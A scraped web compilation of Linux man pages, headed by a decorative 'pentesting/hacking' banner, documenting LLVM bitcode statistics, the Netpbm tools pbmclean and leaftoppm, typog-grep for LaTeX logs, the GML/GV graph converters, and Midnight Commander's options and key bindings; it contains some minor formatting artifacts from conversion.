The total number of constants (of any type) defined in the Constant Pool.

Number Of Basic Blocks

The total number of basic blocks defined in all functions in the bitcode file.

Number Of Instructions

The total number of instructions defined in all functions in the bitcode file.

Number Of Long Instructions

The total number of long instructions defined in all functions in the bitcode file. Long instructions are those taking greater than 4 bytes. Typically long instructions are GetElementPtr with several indices, PHI nodes, and calls to functions with large numbers of arguments.

Number Of Operands

The total number of operands used in all instructions in the bitcode file.

Number Of Compaction Tables

The total number of compaction tables in all functions in the bitcode file.

Number Of Symbol Tables

The total number of symbol tables in all functions in the bitcode file.

Number Of Dependent Libs

The total number of dependent libraries found in the bitcode file.

Total Instruction Size

The total size of the instructions in all functions in the bitcode file.

Average Instruction Size

The average number of bytes per instruction across all functions in the bitcode file. This value is computed by dividing Total Instruction Size by Number Of Instructions.

Maximum Type Slot Number

The maximum value used for a type’s slot number. Larger slot number values take more bytes to encode.

Maximum Value Slot Number

The maximum value used for a value’s slot number. Larger slot number values take more bytes to encode.

Bytes Per Value

The average size of a Value definition (of any type). This is computed by dividing File Size by the total number of values of any type.

Bytes Per Global

The average size of a global definition (constants and global variables).

Bytes Per Function

The average number of bytes per function definition. This is computed by dividing Function Bytes by Number Of Functions.

# of VBR 32-bit Integers

The total number of 32-bit integers encoded using the Variable Bit Rate encoding scheme.

# of VBR 64-bit Integers

The total number of 64-bit integers encoded using the Variable Bit Rate encoding scheme.

# of VBR Compressed Bytes

The total number of bytes consumed by the 32-bit and 64-bit integers that use the Variable Bit Rate encoding scheme.

# of VBR Expanded Bytes

The total number of bytes that would have been consumed by the 32-bit and 64-bit integers had they not been compressed with the Variable Bit Rage encoding scheme.

Bytes Saved With VBR

The total number of bytes saved by using the Variable Bit Rate encoding scheme. The percentage is relative to # of VBR Expanded Bytes.

DETAILED OUTPUT DEFINITIONS

The following definitions occur only if the -nodetails option was not given. The detailed output provides additional information on a per-function basis.

Type

The type signature of the function.

Byte Size

The total number of bytes in the function’s block.

Basic Blocks

The number of basic blocks defined by the function.

Instructions

The number of instructions defined by the function.

Long Instructions

The number of instructions using the long instruction format in the function.

Operands

The number of operands used by all instructions in the function.

Instruction Size

The number of bytes consumed by instructions in the function.

Average Instruction Size

The average number of bytes consumed by the instructions in the function. This value is computed by dividing Instruction Size by Instructions.

Bytes Per Instruction

The average number of bytes used by the function per instruction. This value is computed by dividing Byte Size by Instructions. Note that this is not the same as Average Instruction Size. It computes a number relative to the total function size not just the size of the instruction list.

Number of VBR 32-bit Integers

The total number of 32-bit integers found in this function (for any use).

Number of VBR 64-bit Integers

The total number of 64-bit integers found in this function (for any use).

Number of VBR Compressed Bytes

The total number of bytes in this function consumed by the 32-bit and 64-bit integers that use the Variable Bit Rate encoding scheme.

Number of VBR Expanded Bytes

The total number of bytes in this function that would have been consumed by the 32-bit and 64-bit integers had they not been compressed with the Variable Bit Rate encoding scheme.

Bytes Saved With VBR

The total number of bytes saved in this function by using the Variable Bit Rate encoding scheme. The percentage is relative to # of VBR Expanded Bytes.

SEE ALSO

llvm-dis(1), LLVM Bitcode File Format

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1151 - Linux cli command pbmclean

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmclean and provides detailed information about the command pbmclean, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmclean.

.

NAME 🖥️ pbmclean 🖥️

despeckle a PBM image

SYNOPSIS

pbmclean [-minneighbors=N] [-black|-white] [-extended] [pbmfile]

OPTION USAGE

You can use the minimum unique abbreviation of the options. You can use two hyphens instead of one. You can separate an option name from its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pbmclean cleans up a PBM image of random specks. It reads a PBM image as input and outputs a PBM that is the same as the input except with isolated pixels inverted.

You can use pbmclean to clean up “snow” on bitmap images.

There are two ways pbmclean can define “isolated” pixels: simple and extended. When you specify -extended, pbmclean uses extended; otherwise it uses basic.

Basic Mode

In basic mode, pbmclean looks at each pixel individually, and any pixel that doesn’t have at least a minimum number of pixels of the same color touching it is considered isolated and pbmclean erases it.

The -minneighbors option specifies the minimum number of neighboring pixels of the same color for a pixel not to be considered isolated.

For example, if -minneighbors is two and there are two contiguous black pixels in an otherwise white field, each of those pixels is isolated, so pbmclean erases them - turns both white.

The default minimum 1 pixel - pbmclean flips only completely isolated pixels.

(A -minneighbors value greater than 8 generates a completely inverted image (but use pnminvert to do that) – or a completely white or completely black image with the -black or -white option).

pbmclean considers the area beyond the edges of the image to be white. (This matters when you consider pixels right on the edge of the image).

pbmclean does not distinguish between foreground and background; by default, it flips isolated pixels of either color. But you can specify -black or -white to have it flip only pixels of one color.

Extended Mode

In extended mode, pbmclean erases all blobs which don’t have the specified minimum number of pixels. A blob is a set of contiguous pixels of the foreground color. The minimum number of pixels is one plus the -minneighbors value. You specify the foreground color with -black and -white (default is black).

For example, if -minneighbors is 2 and the foreground color is black, and the image contains a straight line 4 pixels long, pbmclean erases that – turns all four pixels white. pbmclean also erases 4 pixels in a square or L-shape.

The default -minneighbors is 4, so a blob must have at least 5 pixels to escape pbmclean’s purge.

Extended mode was new in Netpbm 10.56 (September 2011).

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmclean recognizes the following command line options:

-black
-white
Flip pixels of the specified color. By default, if you specify neither -black nor -white, pbmclean flips both black and white pixels which do not have sufficient identical neighbors. If you specify -black, pbmclean leaves the white pixels alone and just erases isolated black pixels. Vice versa for -white. You may specify both -black and -white to get the same as the default behavior.

**-minneighbors=**N
This determines how many pixels must be in a cluster in order for pbmclean to consider them legitimate and not clean them out of the image. See Description .

Before December 2001, pbmclean accepted **-**N instead of -minneighbors. Before Netpbm 10.27 (March 2005), -minneighbors was -minneighbor.

-extended
pbmclean uses extended, as opposed to basic, isolated pixel detection.

This option was new in Netpbm 10.56 (September 2011).

SEE ALSO

pbm(1)

AUTHOR

Copyright (C) 1990 by Angus Duggan Copyright (C) 1989 by Jef Poskanzer. Copyright (C) 2001 by Michael Sternberg.

Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation. This software is provided “as is” without express or implied warranty.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmclean.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1152 - Linux cli command leaftoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command leaftoppm and provides detailed information about the command leaftoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the leaftoppm.

.

NAME 🖥️ leaftoppm 🖥️

convert Interleaf image format to PPM image

SYNOPSIS

leaftoppm [leaffile]

DESCRIPTION

This program is part of Netpbm(1) .

leaftoppm reads a PPM image as input and generates an Interleaf image file as output.

Interleaf is a now-defunct (actually purchased ca. 2000 by BroadVision) technical publishing software company.

OPTIONS

There are no command line options defined specifically for leaftoppm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

ppm(1)

AUTHOR

The program is copyright (C) 1994 by Bill O’Donnell.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/leaftoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1153 - Linux cli command typog-grep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command typog-grep and provides detailed information about the command typog-grep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the typog-grep.

NAME 🖥️ typog-grep 🖥️

grep - grep for typog-inspect elements in LaTeX log files

SYNOPSIS

typog-grep -a|–all|–any [OPTION…] LOG-FILE…

typog-grep [OPTION…] REGEXP LOG-FILE…

The first form shows all <typog-inspect id="ID" ...> elements in LOG-FILE.

The second form shows the contents of <typog-inspect id="ID" ...> elements whose IDs match REGEXP in LOG-FILE.

If no LOG-FILE is given read from stdin. The filename - is synonymous to stdin.

DESCRIPTION

typog-grep is a tailored post-processor for LaTeX log files and the typoginspect environment as provided by package typog. It shares more with the venerable sgrep <https://www.cs.helsinki.fi/u/jjaakkol/sgrep.html> than with POSIX grep <https://pubs.opengroup.org/onlinepubs/9699919799/utilities/grep.html>.

The LaTeX user brackets her text in

egin{typoginspect}{ID} Text and code to investigate nd{typoginspect}

where ID is used to identify one or more bracketed snippets. ID does not have to be unique. The REGEXP mechanism makes it easy to select groups of related IDs if they are named accordingly.

In LOG-FILE the environment shows up, packed with tracing information, as

<typog-inspect id=“ID” job=“JOB-NAME” line=“LINE-NUMBER” page=“PAGE-NUMBER”> Trace Data </typog-inspect>

where all the capital-letter sequences are meta-variables and in particular JOB-NAME is the expansion of \jobname, LINE-NUMBER is the LaTeX source file line number of the beginning of the typoginspect environment, and PAGE-NUMBER is the page where the output of Text and code to investigate occurs.

typog-grep reveals the contents of LOG-FILE between <typog-inspect id="ID" ...> and </typog-inspect> excluding the XML-tags. Access the JOB-NAME, LINE-NUMBER, and PAGE-NUMBER with the commandline options –job-name, –line-number, and –page-number, respectively. Use –id to show the name of the IDs that matched REGEXP.

typoginspect environments can be nested. typog-grep respects the nesting, i.e., if the ID of the nested environment does not match REGEXP it will not be included in the program’s output.

OPTIONS

The list of options is sorted by the names of the long options.

-a, –all, –any
ID-discovery mode: Show all typog-inspect elements independent of any matching patterns.

–color, colour WHEN
Colorize specific log contents for the matching ids. The argument WHEN determines when to apply color: always, never, or auto. The setting auto checks whether standard output has been redirected. This is the default.

-C, –config KEY=VALUE[:KEY=VALUE[:…]]
Set one or more configuration KEY to VALUE pairs. See Sec. CONFIGURATION below for a description of all available configuration items. Use option –show-config to display the default configuration.

–debug
Turn on debug output on stderr.

-h, –help
Display brief help then exit.

-i, –[no-]id
Print the actual id name that matched REGEXP. Control the appearance of the matching id with configuration item id-heading.

-y, –[no-]ignore-case
Match ids while ignoring case distinctions in patterns and data.

-j, –[no-]job-name
Print the \jobname that tex associated with the input file.

-n, –[no-]line-number
Print the line number where the typoginspect environment was encountered in the LaTeX source file.

-N, –[no-]log-line-number
Print the line number of the log-file where the current line was encountered.

-p, –[no-]page-number
Print page number where the contents of the typoginspect environment starts in the typeset document.

-P, –[no-]pager
Redirect output from stdout to the configured pager.

–show-config
Show the default configuration and exit.

-V, –version
Show version information and exit.

-w, –[no-]word-regexp
Match only whole words.

CONFIGURATION

“id-format”=FORMAT
Control the FORMAT for printing matching ids in inline-mode, where FORMAT is passed to Perl’s printf. Default: %s:.

“id-heading”=0|1
Choose between printing the matching ids with option –id: Inline (0) or heading before the matching data (1). Default: 0.

“id-heading-format”=FORMAT
Control the FORMAT for printing matching ids in heading-mode, where FORMAT is passed to Perl’s printf. Default: --> %s <--.

“id-indent”=INDENT
Indentation of nested typog-inspect tags. Only used in ``discovery’’ mode (first form), i.e., if –all is active. Default: 8.

“id-max-length”=MAXIMUM-LENGTH
Set the maximum length of a matching id for printing. It a matching id exceeds this length it will be truncated and the last three characters (short of MAXIMUM-LENGTH) will be replaced by dots. Default: 40.

“line-number-format”=FORMAT
Control the FORMAT for printing TeX source line numbers, where FORMAT is passed to Perl’s printf. Default: %5d.

“log-line-number-format”=FORMAT
Control the FORMAT for printing log line numbers, where FORMAT is passed to Perl’s printf. Default: %6d.

“page-number-format”=FORMAT
Control the FORMAT for printing page numbers, where FORMAT is passed to Perl’s printf. Default: [%3d].

“pager”=PAGER
Name of pager application to pipe output into if run with option –pager. Default: less.

“pager-flags”=FLAGS
Pass FLAGS to PAGER. Default: --quit-if-one-screen.

Color Configuration
For the syntax of the color specifications consult the manual page of Term::ANSIColor(pm).

“file-header-color”
Color of the filename header.

“fill-state-color”
Color of the messages that report ``Underfull hbox’’ or ``Overfull hbox’'.

“first-vbox-color”
Color of the first vbox on a page.

“font-spec-color”
Color of font specifications.

“horizontal-break-candidate-color”
Color of lines with horizontal-breakpoint candidates @.

“horizontal-breakpoint-color”
Color of lines with horizontal breakpoints @@.

“id-color”
Color of matching ids when printed inline.

“id-heading-color”
Color of matching ids when printed in heading form.

“line-break-pass-color”
Color of the lines showing which pass (e.g., @firstpass) of the line-breaking algorithm is active.

“line-number-color”
Color of TeX-source-file line numbers.

“log-line-number-color”
Color of log-file line numbers.

“math-color”
Color used for math expressions including their font specs.

“page-number-color”
Color of page numbers of the final output.

“tightness-color”
Color of lines with Tight/Loose hbox reports.

“vertical-breakpoint-color”
Color of possible vertical breakpoints.

Brief summary of colors and attributes

Foreground Color
black, red, green, yellow, blue, magenta, cyan, white, Prefix with bright_ for high-intensity or bold foreground.

Foreground Grey
grey0, …, grey23

Background Color
on_black, on_red, on_green, on_yellow, on_blue, on_magenta, on_cyan, on_white Replace on_ with on_bright_ for high-intensity or bold background.

Background Grey
on_grey0, …, on_grey23

Text Attribute
bold, dark, italic, underline, reverse

EXIT STATUS

The exit status is 0 if at least one ID matched REGEXP, 1 if no ID matched REGEXP, and 2 if an error occurred.

SEE ALSO

grep(1), printf(3), Term::ANSIColor(pm)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1154 - Linux cli command gv2gml

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gv2gml and provides detailed information about the command gv2gml, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gv2gml.

NAME 🖥️ gv2gml 🖥️

GML-DOT converters

SYNOPSIS

gml2gv [ -?v ] [ -ggname ] [ -ooutfile ] [ files ]
gv2gml [ -? ] [ -ooutfile ] [ files ]

DESCRIPTION

gml2gv converts a graph specified in the GML format to a graph in the GV (formerly DOT) format. gv2gml converts a graph specified in the GV format to a graph in the GML format.

OPTIONS

The following options are supported:

-v
Turns on verbose mode

-?
Prints usage information and exits.

-ggname
The string gname is used as the name of the generated graph. If multiple graphs are generated, subsequent graphs use the name gname appended with an integer.

-ooutfile
Prints output to the file outfile. If not given, gml2gv uses stdout.

OPERANDS

The following operand is supported:

files
Names of files containing 1 or more graphs in GML. If no files operand is specified, the standard input will be used.

RETURN CODES

Return 0 if there were no problems during conversion; and non-zero if any error occurred.

LIMITATIONS

As both the graph and graphics models of GV and GML differ significantly, the conversion is at best approximate. In particular, it is not clear how multiedges are differentiated in GML, so multiedges are created in GV with no user-available key. Also, no attribute information is lost, in that any GML attributes that aren’t converted to GV equivalents are retained as attributes in the output graph.

At present, gv2gml does not support subgraphs and clusters. In addition, there does not appear to be a standard mechanism for specifying default node and edge attributes in GML, so any attributes are repeated for every node and edge.

AUTHORS

Emden R. Gansner <[email protected]>

SEE ALSO

dot(1), libcgraph(3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1155 - Linux cli command mcdiff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mcdiff and provides detailed information about the command mcdiff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mcdiff.

NAME 🖥️ mcdiff 🖥️

Visual shell for Unix-like systems.

SYNOPSIS

mc [-abcCdfhPstuUVx] [-l log] [dir1 [dir2]] [-e [file] …] [-v file]

DESCRIPTION

GNU Midnight Commander is a directory browser/file manager for Unix-like operating systems.

OPTIONS

-a, –stickchars
Disable usage of graphic characters for line drawing.

-b, –nocolor
Force black and white display.

-c, –color
Force color mode, please check the section Colors for more information.

-C arg, –colors=arg
Specify a different color set in the command line. The format of arg is documented in the Colors section.

–configure-options
Display configure options.

-d, –nomouse
Disable mouse support.

-e [file], –edit[=file]
Start the internal editor. If the file is specified, open it on startup. See also mcedit (1).

-f, –datadir
Display the compiled-in search paths for Midnight Commander files.

-F, –datadir-info
Display extended info about compiled-in paths for Midnight Commander.

-g, –oldmouse
Force a “normal tracking” mouse mode. Used when running on xterm-capable terminals (tmux/screen).

-k, –resetsoft
Reset softkeys to their default from the termcap/terminfo database. Only useful on HP terminals when the function keys don’t work.

-K file, –keymap=file
Specify a name of keymap file in the command line.

-l file, –ftplog=file
Save the ftpfs dialog with the server in file.

–nokeymap
Don’t load key bindings from any file, use default hardcoded keys.

-P file, –printwd=file
Print the last working directory to the specified file. This option is not meant to be used directly. Instead, it’s used from a special shell script that automatically changes the current directory of the shell to the last directory Midnight Commander was in. Source the file /usr/lib/mc/mc.sh (bash and zsh users) or /usr/lib/mc.csh (tcsh users) respectively to define mc as an alias to the appropriate shell script.

-s, –slow
Turn on the slow terminal mode, in this mode the program will not draw expensive line drawing characters and will toggle verbose mode off.

-S arg, –skin=arg
Specify a name of skin in the command line. Technology of skins is documented in the Skins section.

-t, –termcap
Used only if the code was compiled with S-Lang and terminfo: it makes Midnight Commander use the value of the TERMCAP variable for the terminal information instead of the information on the system wide terminal database

-u, –nosubshell
Disable use of the concurrent shell (only makes sense if Midnight Commander has been built with concurrent shell support).

-U, –subshell
Enable use of the concurrent shell support (only makes sense if the Midnight Commander was built with the subshell support set as an optional feature).

-v file, –view=file
Start the internal viewer to view the specified file. See also mcview (1).

-V, –version
Display the version of the program.

-x, –xterm
Force xterm mode. Used when running on xterm-capable terminals (two screen modes, and able to send mouse escape sequences).

-X, –no-x11
Do not use X11 to get the state of modifiers Alt, Ctrl, Shift

If both paths are specified, the first path name is the directory to show in the active panel; the second path name is the directory to be shown in the other panel.

If one path is specified, the path name is the directory to show in the active panel; value of “other_dir” from panels.ini is the directory to be shown in the passive panel.

If no paths are specified, current directory is shown in the active panel; value of “other_dir” from panels.ini is the directory to be shown in the passive panel.

Overview

The screen of Midnight Commander is divided into four parts. Almost all of the screen space is taken up by two directory panels. By default, the second line from the bottom of the screen is the shell command line, and the bottom line shows the function key labels. The topmost line is the menu bar line. The menu bar line may not be visible, but appears if you click the topmost line with the mouse or press the F9 key.

Midnight Commander provides a view of two directories at the same time. One of the panels is the current panel (a selection bar is in the current panel). Almost all operations take place on the current panel. Some file operations like Rename and Copy by default use the directory of the unselected panel as a destination (don’t worry, they always ask you for confirmation first). For more information, see the sections on the Directory Panels, the Left and Right Menus and the File Menu.

You can execute system commands from Midnight Commander by simply typing them. Everything you type will appear on the shell command line, and when you press Enter, Midnight Commander will execute the command line you typed; read the Shell Command Line and Input Line Keys sections to learn more about the command line.

Mouse Support

Midnight Commander comes with mouse support. It is activated whenever you are running on an xterm(1) terminal (it even works if you take a telnet, ssh or rlogin connection to another machine from the xterm) or if you are running on a Linux console and have the gpm mouse server running.

When you left click on a file in the directory panels, that file is selected; if you click with the right button, the file is marked (or unmarked, depending on the previous state).

Double-clicking on a file will try to execute the command if it is an executable program; and if the extension file has a program specified for the file’s extension, the specified program is executed.

Also, it is possible to execute the commands assigned to the function key labels by clicking on them.

The default auto repeat rate for the mouse buttons is 400 milliseconds. This may be changed to other values by editing the ~/.config/mc/ini file and changing the mouse_repeat_rate parameter.

If you are running Midnight Commander with the mouse support, you can get the default mouse behavior (cutting and pasting text) by holding down the Shift key.

Keys

Some commands in Midnight Commander involve the use of the Control (sometimes labeled CTRL or CTL) and the Meta (sometimes labeled ALT or even Compose) keys. In this manual we will use the following abbreviations:

C-<chr>
means hold the Control key while typing the character <chr>. Thus C-f would be: hold the Control key and type f.

Alt-<chr>
means hold the Meta or Alt key down while typing <chr>. If there is no Meta or Alt key, type Esc, release it, then type the character <chr>.

S-<chr>
means hold the Shift key down while typing <chr>.

All input lines in Midnight Commander use an approximation to the GNU Emacs editor’s key bindings (default).

You may redefine key bindings. See redefine hotkey bindings

for more info. All other key bindings (described in this manual) are relative to default behavior.

There are many sections which tell about the keys. The following are the most important.

The File Menu section documents the keyboard shortcuts for the commands appearing in the File menu. This section includes the function keys. Most of these commands perform some action, usually on the selected file or the tagged files.

The Directory Panels section documents the keys which select a file or tag files as a target for a later action (the action is usually one from the file menu).

The Shell Command Line section list the keys which are used for entering and editing command lines. Most of these copy file names and such from the directory panels to the command line (to avoid excessive typing) or access the command line history.

Input Line Keys are used for editing input lines. This means both the command line and the input lines in the query dialogs.

Redefine hotkey bindings

Hotkey bindings may be read from external file (keymap-file). Initially, Midnight Commander creates key bindings using keymap defined in the source code. Then, two files /usr/share/mc/mc.keymap and /etc/mc/mc.keymap are loaded always, sequentially reassigned key bindings defined earlier. User-defined keymap-file is searched on the following algorithm (to the first one found):

  1. command line option -K <keymap> or –keymap=<keymap>
  2. Environment variable MC_KEYMAP
  3. Parameter keymap in section [Midnight-Commander] of config file.
  4. File ~/.config/mc/mc.keymap

Command line option, environment variable and parameter in config file may contain the absolute path to the keymap-file (with the extension .keymap or without it). Search of keymap-file will occur in (to the first one found):

  1. ~/.config/mc
  2. /etc/mc/
  3. /usr/share/mc/

Miscellaneous Keys

Here are some keys which don’t fall into any of the other categories:

Enter
if there is some text in the command line (the one at the bottom of the panels), then that command is executed. If there is no text in the command line then if the selection bar is over a directory the Midnight Commander does a chdir(2) to the selected directory and reloads the information on the panel; if the selection is an executable file then it is executed. Finally, if the extension of the selected file name matches one of the extensions in the extensions file then the corresponding command is executed.

C-l
repaint all the information in Midnight Commander.

C-x c
run the Chmod command on a file or on the tagged files.

C-x o
run the Chown command on the current file or on the tagged files.

C-x l
run the hard link command.

C-x s
run the absolute symbolic link command.

C-x v
run the relative symbolic link command. See the File Menu section for more information about symbolic links.

C-x i
set the other panel display mode to information.

C-x q
set the other panel display mode to quick view.

C-x !
execute the External panelize command.

C-x h
run the add directory to hotlist command.

Alt-!
executes the Filtered view command, described in the view command.

Alt-?
executes the Find file command.

Alt-c
pops up the quick cd dialog.

C-o
when the program is being run in the Linux or FreeBSD console or under an xterm, it will show you the output of the previous command. When ran on the Linux console, Midnight Commander uses an external program (cons.saver) to handle saving and restoring of information on the screen.

When the subshell support is compiled in, you can type C-o at any time and you will be taken back to Midnight Commander’s main screen, to return to your application just type C-o. If you have an application suspended by using this trick, you won’t be able to execute other programs from Midnight Commander until you terminate the suspended application.

Directory Panels

This section lists the keys which operate on the directory panels. If you want to know how to change the appearance of the panels take a look at the section on Left and Right Menus.

Tab, C-i
change the current panel. The old other panel becomes the new current panel and the old current panel becomes the new other panel. The selection bar moves from the old current panel to the new current panel.

Insert, C-t
to tag files you may use the Insert key (the kich1 terminfo sequence). To untag files, just retag a tagged file.

Alt-e
to change charset of panel you may use Alt-e (M-e). Recoding is made from selected codepage into system codepage. To cancel the recoding, select “No translation” in the dialog of encodings.

Alt-g, Alt-r, Alt-j
used to select the top file in a panel, the middle file and the bottom one, respectively.

Alt-t
toggle the current display listing to show the next display listing format. With this it is possible to quickly switch to brief listing, long listing, user defined listing format, and back to the default.

C-\ (control-backslash)
show the directory hotlist and change to the selected directory.

+ (plus)
this is used to select (tag) a group of files. Midnight Commander will prompt for a selection options. When Files only checkbox is on, only files will be selected. If Files only is off, as files as directories will be selected. When Shell Patterns checkbox is on, the regular expression is much like the filename globbing in the shell (* standing for zero or more characters and ? standing for one character). If Shell Patterns is off, then the tagging of files is done with normal regular expressions (see ed (1)). When Case sensitive checkbox is on, the selection will be case sensitive characters. If Case sensitive is off, the case will be ignored.

\ (backslash)
use the “\ key to unselect a group of files. This is the opposite of the Plus key.

up-key, C-p
move the selection bar to the previous entry in the panel.

down-key, C-n
move the selection bar to the next entry in the panel.

home, a1, Alt-<
move the selection bar to the first entry in the panel.

end, c1, Alt->
move the selection bar to the last entry in the panel.

next-page, C-v
move the selection bar one page down.

prev-page, Alt-v
move the selection bar one page up.

Alt-o
If the currently selected file is a directory, load that directory on the other panel and moves the selection to the next file. If the currently selected file is not a directory, load the parent directory on the other panel and moves the selection to the next file.

Alt-i
make the current directory of the current panel also the current directory of the other panel. Put the other panel to the listing mode if needed. If the current panel is panelized, the other panel doesn’t become panelized.

C-PageUp, C-PageDown
only when supported by the terminal: change to “..” and to the currently selected directory respectively.

Alt-y
moves to the previous directory in the history, equivalent to clicking the < with the mouse.

Alt-u
moves to the next directory in the history, equivalent to clicking the > with the mouse.

Alt-S-h, Alt-H
displays the directory history, equivalent to depressing the ‘v’ with the mouse.

Quick search

The Quick search mode allows you to perform fast file search in file panel. Press C-s or Alt-s to start a filename search in the directory listing.

When the search is active, the user input will be added to the search string instead of the command line. If the Show mini-status option is enabled the search string is shown on the mini-status line. When typing, the selection bar will move to the next file starting with the typed letters. The Backspace or DEL keys can be used to correct typing mistakes. If C-s is pressed again, the next match is searched for.

If quick search is started with double pressing of C-s, the previous quick search pattern will be used for current search.

Besides the filename characters, you can also use wildcard characters ‘*’ and ‘?’.
